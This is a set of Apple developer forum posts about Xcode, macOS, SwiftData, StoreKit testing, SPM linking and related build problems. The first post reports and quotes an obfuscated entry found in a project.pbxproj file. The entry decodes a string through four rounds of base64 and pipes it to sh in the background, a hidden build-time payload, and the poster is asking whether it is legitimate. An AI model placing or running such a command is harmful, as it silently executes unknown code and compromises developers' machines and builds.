I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.

M4 Mac Mini: Xcode generates private keys with wrong label - codesigning impossible Background This is a follow up to my November 2024 thread "Keychain issues after installing backup on new Mac" which was closed because I had a temporary workaround. That workaround using my wife's MacBook Air for signing is not sustainable. I used AI assistance to determine the root cause. My DTS case 102877839447 is open but has not yet been forwarded to a DTS engineer. Environment Mac Mini M4, macOS 15.4.1 (Build 25E253) Xcode 26.4.1 (17E202) Team ID: Q23726668V (Computerade Products) Working comparison machine: MacBook Air, macOS 15.3 Precise Bug — Reproducible Every Time Every time Xcode generates a new certificate and key pair on my Mac Mini: Certificate: Apple Development: Michael Birch (9KD5TCGGHG) ✅ Private key: Apple Development: Michael Birch (Computerade Products) ❌ The key uses the organization name instead of the certificate identifier. They never pair as a valid codesigning identity. security find-identity -v -p codesigning always returns 0 valid identities. Cryptographic Evidence The internal application labels confirm the keys are cryptographically unrelated to their certificates: Key internal application label: 53C26EB056997276B5E938258D00665ACABD1F0F Certificate public key hash: 57cd1af4a9162f26b1a6d750e05a63a2166b75ff These do not match ❌ Confirmed Eliminated As Causes Keychain search list corruption — found and fixed Partition list — set correctly Access control — set to allow all applications Full Disk Access — granted to Xcode Xcode caches and preferences — completely cleared Login keychain — completely reset Orphaned certificates and keys — all removed SIP enabled, system fully up to date Valid P12 Import Also Fails A p12 exported from the working MacBook Air and cryptographically verified as a matched pair also fails on the Mac Mini: security import returns MAC verification failed Keychain Access import returns OSStatus -2 Importing certificate and key separately as PEM files succeeds but they are not recognized as a valid identity pair despite matching application labels A3F3F193B7896DA9055353F59AB450778CB09AE7 Question Is there a known issue with M4 Mac Mini keychain infrastructure where private keys are generated with incorrect internal application labels? Is there a lower level diagnostic or fix beyond what the security command provides? The problem is specific to my Mac Mini M4 and persisted thru more than a year of Mac OS and xCode updates.

Symptom Every build — both the Xcode IDE and command-line xcodebuild — hangs indefinitely at "Pre-planning"/"Planning N/M", before any compilation starts. The build log freezes for 40+ minutes with no progress and no error. Inspecting the stuck processes: The clang feature-detection probes (clang -v -E -dM -c /dev/null) sit at 0% CPU, blocked in write(). SWBBuildService is idle in swift_task_asyncMainDrainQueue → mach_msg — it never reads the probe output. Root cause: collapsed pipe buffers On this machine, anonymous pipe buffer capacity has dropped to 512 bytes (a healthy macOS pipe starts at 16 KB and expands to 64 KB on demand). SWBBuildService runs the clang feature-detection probe and reads its ~15 KB of output lazily (via Swift concurrency). With only a 512-byte buffer, the pipe fills instantly, clang's write() blocks forever, and the build deadlocks before it begins. swift build (SwiftPM) is unaffected because it drains subprocess pipes continuously in small reads — confirming the problem is the pipe buffer size, not the toolchain or compiler. The key detail — it's progressive, not constant (looks like a kernel pipe-KVA leak) This is the part that points at a kernel bug rather than a fixed config: Right after a reboot, a fresh os.pipe() measures 65536 bytes, and builds succeed normally. After ~50 minutes of normal build activity, the same measurement has monotonically degraded to 512 bytes, and builds hang again. So pipe capacity appears to leak down as pipe kernel-virtual-address (KVA) accounting accumulates during use. Notably, kern.ipc.maxpipekva does not exist as a sysctl OID on 26.5, so there's no tunable to raise the pool. Minimal diagnostic anyone can run import os, fcntl, errno r, w = os.pipe() fcntl.fcntl(w, fcntl.F_SETFL, os.O_NONBLOCK) total = 0 try: while True: total += os.write(w, b"x" * 256) except OSError as e: if e.errno != errno.EAGAIN: raise print("pipe capacity:", total, "bytes") Healthy machine: 16384+ (usually 65536). Affected machine: 512. When it reads 512, every xcodebuild will hang. What did NOT fix it (ruled out) Downgrading Xcode — tested Xcode 26.4.1 (17E202) via DEVELOPER_DIR: hangs identically. The trigger is the OS, not Xcode/Swift. Raising kern.ipc.maxpipekva — the OID doesn't exist on 26.5. Memory pressure (64 GB, 94% free, 0 swap), /etc/sysctl.conf / boot-time overrides, NVRAM boot-args, MDM/configuration profiles (not enrolled), third-party security/AV/DLP software (none installed), the project/packages, derivedData location, user Xcode prefs (clean HOME still hangs), connected devices. File-descriptor exhaustion — only ~87 pipe FDs were open, so it's not a count limit; it's per-pipe capacity. What does help Reboot restores 64 KB pipes — but only buys ~1 build before they degrade again. Temporary. Full in-place reinstall of macOS 26.5 resets pipe capacity (the incremental OTA may have left the system inconsistent), but the leak recurs with use. Staying on / reverting to macOS 26.4 is the only durable fix found, since 26.5 is the trigger. Question for Apple / others seeing this Has anyone else on 26.5 (25F71) confirmed pipe capacity degrading over time with the Python snippet above? This looks like a kernel pipe-KVA accounting leak introduced in 26.5. A separate, smaller issue is that SWBBuildService drains the clang probe pipe lazily, which turns a small pipe buffer into a hard deadlock instead of just slow I/O — a continuous-drain read would make Xcode resilient to it. Environment Mac Studio (Apple Silicon), 64 GB RAM macOS 26.5 (build 25F71) — problem began immediately after an incremental OTA update from 26.2 → 26.5 Xcode 26.5 (also reproduced on Xcode 26.4.1 / 17E202 — see below)

I have a Xcode 26.6, and when I run the simulators for iPhone, Siri does not work, Dictation does not work. I know my Mac microphone works just fine. It just seems like the simulator is not getting my voice input.

Currently running PacketLogger 15.4 with Sonoma 14.6.1 on a 2020 M1 Macbook Pro and am trying to log packets for a custom bluetooth device I have designed. I have used packetlogger in the past for the same device on this same laptop and had no issues seeing all advertised bluetooth packets from what seemed like every device in the office. It has been a few months and certainly a couple of OS updates but Packetlogger does not seem to log any packets at all anymore. I have made sure to clear all filters and to ensure I get all forms of bluetooth traffic. I have reinstalled the xcode developer tools as well and this has made no difference. I can clearly see the bluetooth advertising packets from my device using a ble scanner on my phone. Even trying to connect my phone over bluetooth to my laptop does not result in any logs. I am happy to provide more information as well as screenshots if need be. Thank You!

Hello all, Yesterday, I found out that there's 60GB's of old simulator volumes on my mac in /Library/Developer/CoreSimulator/Volumes/. When I try to delete those through Xcode Settings -> Components under Other Installed Platforms, it looks like they are deleted, but after restarting my Mac, they simply return. I tried the solution proposed here (which is to delete the dmg files in /Library/Developer/CoreSimulator/Images/), but in my case, there are no dmg files in there. So it looks like they were properly deleted, unlike those in /Library/Developer/CoreSimulator/Volumes/. I could obviously try to delete the dmg files in /Library/Developer/CoreSimulator/Volumes/, but that doesn't work according to a post on reddit that I'm not allowed to show here (It's called 'Deleted 240GB of Xcode simulators multiple times but they keep remounting - how do I permanently remove them?') And I wonder if it's a safe thing to do. Do you have any suggestions for how to remove the old volumes correctly and permanently?

Following up on my last question, I noticed that when we build, if there's a failure to resolve package dependencies, if previously package dependency resolution succeeded, then the failure is not treated as an error but only as a warning.

I don't really know the terminology around this very well, but I was trying to test my Mac OS Catalyst app on Mac OS Sequoia, and the app kept crashing apparently due to MTL validation. I was trying to debug why using a menu (as in File, Edit, View, etc.) would crash. The stack looked roughly like this: 6 -[MTLDebugComputeCommandEncoder setBuffer:offset:attributeStride:atIndex:] MetalTools 5 _CF_forwarding_prep_0 CoreFoundation 4 ___forwarding___ CoreFoundation 3 -[NSObject doesNotRecognizeSelector:] CoreFoundation 2 objc_exception_throw libobjc.A.dylib 1 __cxa_throw b 0 _Unwind_RaiseException libunwind.dylib Both Claude and Gemini indicated that there was no flaw in my code, but rather that Xcode was responsible. Sure enough, unchecking the MTL validation checkbox in Xcode stopped the crash from happening.

Downloaded beta three. Tried to continue conversation. Says Using LM Studio/qwen/opencode. Restarted LM Studio. Opencode is on latest version.

This may be an Xcode problem not with SPM, but when I add a package into my App project, as a local package, whenever I change the dependencies of the package, even if the change to the version conflicts with the app's version constraints, the Xcode build the app just fine. I have to close and reopen the project again before the Xcode detects the change and raise an error during the build process. Why can't SPM/Xcode just detect the change while the app is opened, and raise an error instead of using whatever cache it is using? Currently, the workaround is to never edit the package in the app project (even though I should be able to), but to open the package as separate project to make edits, then reopen the app project to build the app. Another workaround I'm trying out is to add the xcodebuild -resolvePackageDependencies as a step during the build process, to force the build to cancel if theres package dependency resolution errors. But why is Xcode just ignoring resolution errors ??

The MetricKit documentation ("Track performance by app state using MetricKit") states: "MetricKit delivers reports on a system-determined schedule. To generate reports during development, choose Debug > Simulate MetricKit Payloads in Xcode." https://developer.apple.com/documentation/metrickit/track-performance-by-app-state-using-metrickit This menu item was present in Xcode 26.6, but is no longer shown under the Debug menu in Xcode 27.0 beta 3. Steps to reproduce: Open a project in Xcode 27.0 beta 3 Open the Debug menu "Simulate MetricKit Payloads" is not listed Expected: The menu item should be available as documented, and as it was in Xcode 26.6. Has anyone else run into this, or found a workaround for triggering MetricKit payloads in Xcode 27 betas? Filed as FB23760649. Environment: Xcode 27.0 beta 3, macOS 26.5.2

We got the newly issue that our Test devices keeps us asking for the pin code to "Enable UI Automation". Then it works for some hours or days, but after some time it starts again. "Enable UI Automation" is already enabled in "Settings" - "Developer" menu. The devices are located remotely and we can't access them directly, so this is a big issue for us right now. Is there any way to avoid this?

The compiled size of my app (DerivedData/*/Build/Products/Debug-iphonesimulator/AppName.app) jumped 200 MB (926 MB-> 1.12 GB) just by compiling with Xcode 27 beta 2 (currently the latest). I can compile with Xcode 27, but when I run it on a simulator it crashes on launch. I get the same type of crash when running my unit tests. I'm getting a lot of warnings in the debug console about "Class X is implemented in both". I asked Claude to analyze the .app files to find the difference. Yes, I have a lot of internal and external packages/frameworks. Xcode26 ships 128 frameworks including 14 *_PackageProduct.framework dynamic frameworks (Logger_…, APICore_…, SplitManager_…, Apollo_…, PerModel_…, AppGateway_…, etc.). Xcode 27 ships 114 — all 14 of those dynamic package frameworks are gone. Xcode 27 changed the default and now links those SPM package products statically into every framework that consumes them. Counting framework binaries that carry their own copy of a package's Swift type metadata: ┌──────────────┬────────────┬─────────────┐ │ Package │ Xcode 26 │ Xcode 27 b2 │ ├──────────────┼────────────┼─────────────┤ │ Logger │ 12 │ 79 │ ├──────────────┼────────────┼─────────────┤ │ APICore │ 3 │ 45 │ ├──────────────┼────────────┼─────────────┤ │ SplitManager │ 1 │ 20 │ ├──────────────┼────────────┼─────────────┤ │ PerModel │ 1 │ 24 │ ├──────────────┼────────────┼─────────────┤ │ AppGateway │ 1 │ 20 │ └──────────────┴────────────┴─────────────┘ 79 copies of Logger's types instead of 1. That's the runtime problem: duplicate Swift type metadata / Objective-C class registration → "Class … is implemented in both …, one of the two will be used" and, when type identity or singletons matter, crashes. It hits unit tests hardest because the test bundle re-links the same static package that the host app's frameworks already contain. I worked on it a bit trying to switch my packages and frameworks to load dynamically. But that only gets so far as 3rd party packages like Apollo (for GraphQL) don't ship a dynamic version of ApolloTestSupport. I really don't like forking 3rd party packages. I tried changing my packages to explicitly load dynamically like this. That got me to the point that I could run on a simulator. But I was unable to get to the point that I could run all my unit tests without crashing on launch. And the code that runs on a simulator crashes on a device complaining about missing packages. products: [ .library( name: "AppGateway", + type: .dynamic, targets: ["AppGateway"]), ], Something is really different in Xcode 27 with the way it links packages and creates my app - a linker bug? I don't know if there is an ancient build setting that might be triggering this? Our app is really old. v1 was created in 2010. We just recently moved to a SceneUI delegate setup. I really don't know what would be a good next step for me to figure this one out. I am happy to use a DTS or create a Feedback if I thought it would help me get forward progress on this? Help?

I have a production app that originally used Core Data + CloudKit and was later migrated to SwiftData. The SwiftData migration preserved the existing SQLite store by explicitly pointing ModelConfiguration at the original database: let configuration = ModelConfiguration(url: storeURL) let container = try ModelContainer(for: schema, configurations: configuration) Because of this, my app does not use the higher-level ModelConfiguration(groupContainer:cloudKitDatabase:) initializer. I would now like to migrate the store into an App Group so it can be shared with widgets. During the WWDC26 SwiftData Group Lab (around 18:53), the guidance was: Moving to an App Group container is more involved: it's a different directory and entitlements can't be aligned to the old location, so you'll get a new container and must copy the existing data over into the group container, then start from there. However, I couldn't find documentation describing how Apple recommends performing that copy for a SwiftData application that already uses an explicit SQLite URL. Why the Core Data APIs don't seem applicable The obvious approach would be to use Core Data APIs such as: replacePersistentStore migratePersistentStore However, these APIs require a Core Data stack and a managed object model (.momd). After migrating completely to SwiftData, I no longer have a .momd in my project, so creating an NSPersistentContainer solely to move an existing SQLite store doesn't appear to be possible. Is there a supported way to use these APIs with a SwiftData store, or are they no longer intended for this scenario? Experiment Since the migration happens before creating the ModelContainer, I experimented with simply moving the entire persistence package using FileManager before SwiftData is initialized. Specifically I move: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets from the application's Application Support directory into the App Group container, and then initialize SwiftData using: let configuration = ModelConfiguration(url: appGroupStoreURL) let container = try ModelContainer(for: schema, configurations: configuration) After doing this: all existing data is present; new data can be created successfully; if I run an older build that still points to Application Support, SwiftData simply creates a brand-new empty store there, which suggests the original store was indeed moved successfully. So from a local persistence perspective, this appears to work. Remaining concern Although this approach appears to preserve the SQLite store unchanged, I don't know whether it is actually safe for CloudKit. Specifically: Does moving the complete persistence package with FileManager preserve all CloudKit metadata needed for continued synchronization? Is there any risk that CloudKit will treat the moved store as a different store and re-upload or duplicate records? Are there additional files or directories that must also be moved besides: Store.sqlite Store.sqlite-wal Store.sqlite-shm .Store_SUPPORT Store_ckAssets Is there an Apple-recommended migration path for this scenario that avoids introducing a temporary Core Data model purely to move the store? In other words: What is the recommended migration path for an existing production SwiftData application using an explicit SQLite URL to move into an App Group while continuing to use CloudKit? One additional question The SwiftData documentation provides two different ways to configure persistent storage: ModelConfiguration( groupContainer: ..., cloudKitDatabase: ... ) and ModelConfiguration( url: ..., cloudKitDatabase: ... ) My understanding is that when using the groupContainer initializer, SwiftData may automatically handle moving the persistent store into the App Group when the application is updated. However, when using the url initializer, the application is explicitly responsible for choosing the store location. Is that understanding correct? If so: Is there any supported automatic migration mechanism when using ModelConfiguration(url:), or is manual migration expected? If manual migration is expected, is moving the complete persistence package (.sqlite, -wal, -shm, .Store_SUPPORT, Store_ckAssets) before creating the ModelContainer the recommended approach? Or is there another Apple-recommended migration path for this scenario? My related posts/questions https://developer.apple.com/forums/thread/769835 https://developer.apple.com/forums/thread/769676

Or maybe I suck? Is there really no way with the new Xcode to take a simple screenshot from the device you're testing?You have to connect this Device Hub? An entirely separate app. And not only that, then you have to pair it, which maintains a live connection to the phone? Fine. Okay then. But now I can no longer test the microphone functions of my app because that shared session is interfering with it. Oh, well, I'll just disconnect the session then, right? Nope. The button to disconnect the session doesn't work. Device Hub thinks it's disconnected, but my phone still shows the blue sharing session icon in the upper left hand corner. The only way to stop that is to unpair the phone completely. So then every time I want to take a screenshot, I've got to do this pairing crap? I think I'll be running a second copy of Xcode 26 for quite a while just to use the screenshot button.

I have an iOS project based on SwiftUI in which almost all code is organised in Packages. With Xcode 26.2 and 26.3, I can preview all SwiftUI views without issues. With Xcode 26.4, the same previews don't work, in the canvas appears this error message: "Cannot preview in this file. Could not find target description for “TaskListView.swift”". The explanation is: "The list of source files that produce object files did not contain this file to be previewed. Check to make sure it is not excluded using the EXCLUDED_SOURCE_FILE_NAMES build setting." If I add a SwiftUI view to the main project files (not in a package), the preview works as expected. Is it an Xcode 26.4 regression? Or do I need to modify some configuration file?

On iOS 26.5 simulator runtime, running UI tests via xcodebuild test from the command line does not push the scheme's StoreKitConfigurationFileReference to the destination simulator's storekitd AppGroup Octane container. As a consequence, SKTestSession(configurationFileNamed:) either silently falls through to the production App Store (surfacing a "Sign in to Apple Account" SpringBoard alert during paywall tests), or throws SKInternalErrorDomain Code=3 "Error saving configuration file" if you call any SKTestSession instance method. The same project, same scheme, same .storekit file works correctly when launched via Xcode IDE (Cmd+R / Cmd+U) — which uses DVTDevice.handleStoreKitConfigurationSyncForBundleID:configurationFilePath: via an internal IDELaunchSession XPC path that the public xcodebuild CLI does not invoke. This regression makes StoreKit Test unusable in CI for any project using xcodebuild test or xcodebuild test-without-building against an iOS 26.5 simulator. Environment macOS: 26.x Xcode: 26.4.1 (25E253) iOS Simulator runtime affected: 26.5 iOS Simulator runtime that does not exhibit the bug: 26.1 Test target: XCTest UI tests Test plan: *.xctestplan with "storeKitConfiguration": "MyApp.storekit" in defaultOptions Affected scheme actions: Test (CLI) Not affected: Run, Test (Xcode IDE) Steps to Reproduce Create a SwiftUI iOS app com.example.MyApp. Add a MyApp.storekit with one auto-renewable subscription. Add a UI test target. In the xctestplan: defaultOptions.storeKitConfiguration = "MyApp.storekit". In the UI test base case: private var storeKitSession: SKTestSession? override func setUpWithError() throws { storeKitSession = try SKTestSession(configurationFileNamed: "MyApp") app.launch() } Boot a fresh iOS 26.5 simulator. Run via CLI: xcodebuild test \ -project MyApp.xcodeproj \ -scheme MyApp \ -testPlan MyAppUITests \ -destination "platform=iOS Simulator,name=iPhone 17 Pro" In the test, trigger paywall and call Product.purchase(). Expected Product.purchase() presents the StoreKit Test sheet labeled "[Environment] Xcode". Same behavior as Xcode IDE Cmd+U. Actual Production App Store flow triggers. SpringBoard alert "Sign in to Apple Account" appears. Tests waiting on the "Xcode"-labeled sheet fail with Element does not exist. Evidence The simulator's ~/Library/Developer/CoreSimulator/Devices/<UDID>/data/Containers/Shared/AppGroup/<storekit-AGID>/Documents/Persistence/Octane/com.example.MyApp/Configuration.storekit: Present (≈100 KB) when launched via Xcode IDE. Missing when launched via xcodebuild test CLI on the same simulator UDID. Workarounds Attempted (all fail on iOS 26.5) No-op XCTestCase "warmup" that calls XCUIApplication.launch() + sleep — does not trigger the sync because XCUIApplication.launch() routes through XCTRunner, not IDELaunchSession. Multi-destination xcodebuild test with -parallelize-tests-among-destinations. Manually cp-ing the .storekit file into the AppGroup Octane container — storekitd only loads via the XPC channel. launchctl kickstart -k system/com.apple.storekitd — wipes in-memory state, does not pick up disk file. Only working workaround: open project in Xcode IDE, Cmd+R, wait ~20–30 sec, Cmd+., then Cmd+U. Not viable for CI. Related Open Feedback FB22237318 — SKTestSession instance methods (clearTransactions(), failTransactionsEnabled = true) throw SKInternalErrorDomain Code=3 "Error saving configuration file". Discussion thread: https://developer.apple.com/forums/thread/808030 The iOS 26.5 Release Notes (https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-26_5-release-notes) under StoreKit Test list this issue as resolved in 26.5: "Fixed: SKTestSession may fail to save its configuration file when invoked outside of an Xcode debug session." However, on the public iOS 26.5 simulator runtime the behavior is unchanged — SKTestSession still hits Code=3 on any mutation, and xcodebuild test from CLI still does not sync the .storekit configuration. The 26.5 fix either did not actually ship, or this report describes a distinct but related issue that the fix did not cover. Impact Any CI/CD pipeline running UI tests for apps with StoreKit subscriptions is broken when targeting an iOS 26.5 simulator. Workarounds are either: Pin CI simulator runtime to iOS 26.1. Manually run the project in Xcode IDE before each test run (impossible headless). Has anyone found a CLI-friendly workaround? Or is there an undocumented xcodebuild flag / simctl command that can trigger the same DVTDevice sync from outside the IDE?

I am testing an app which reads text files from the documents directory on the Vision Pro. This was working for a while. Suddenly, after some edits, renaming a file and adding new test files. I only see the old files. How can I force Xcode to use the live directory at all times for testing.

As of May 8th, 2026, after I upgraded to "codex-cli 0.129.0" via Xcode, I can no longer sign into my ChatGPT account in Xcode Intelligence Settings. The Log In window is always successful, but the settings never update to show the login being successful. It's a constant loop. Perhaps a hand-shake fail. Versions: Tahoe 26.3.1, Xcode 26.4.1, codex-cli 0.129.0.

Hi all, very new "developer" trying to build my own app. The app works, just trying to improve it. I’m implementing a Live Activity in a widget extension (Swift/SwiftUI) for an app built with Flutter as the host app. ActivityKit is functioning correctly—activities start, update, and end normally, and the widget extension receives all state updates. However, the Live Activity UI renders as a completely black capsule (both compact and expanded Dynamic Island, as well as the Lock Screen presentation). The system shows the Live Activity container, but none of the SwiftUI content displays. Verified so far: ActivityAttributes contains at least one stored property (previously empty). ContentState fully Codable + Hashable. All Dynamic Island regions return visible test UI (Text/Image). No .containerBackground() usage. Added explicit .activityBackgroundTint() + system foreground colors. All Swift files included in widget extension target. No runtime errors, no decode failures, no SwiftUI logs. Widget previews work. Clean build, app reinstall, device reboot. Entitlements and Info.plist appear valid. Problem: The widget extension returns a completely black UI on-device, despite valid SwiftUI content in ActivityConfiguration. The Live Activity “shell” renders, so the activity is recognized, but the widget’s view hierarchy is visually empty. Question: Under what conditions would a widget extension produce a black, empty UI for a Live Activity even when ActivityKit, previews, and the SwiftUI layout are correct? Are there known cases where: Widget extension Info.plist misconfiguration, Incorrect background/tint handling, Rendering issues in Dynamic Island, Host app integrations (Flutter), Or extension isolation issues cause valid SwiftUI to fail to render in a Live Activity? Any guidance on deeper debugging steps or known system pitfalls would be appreciated.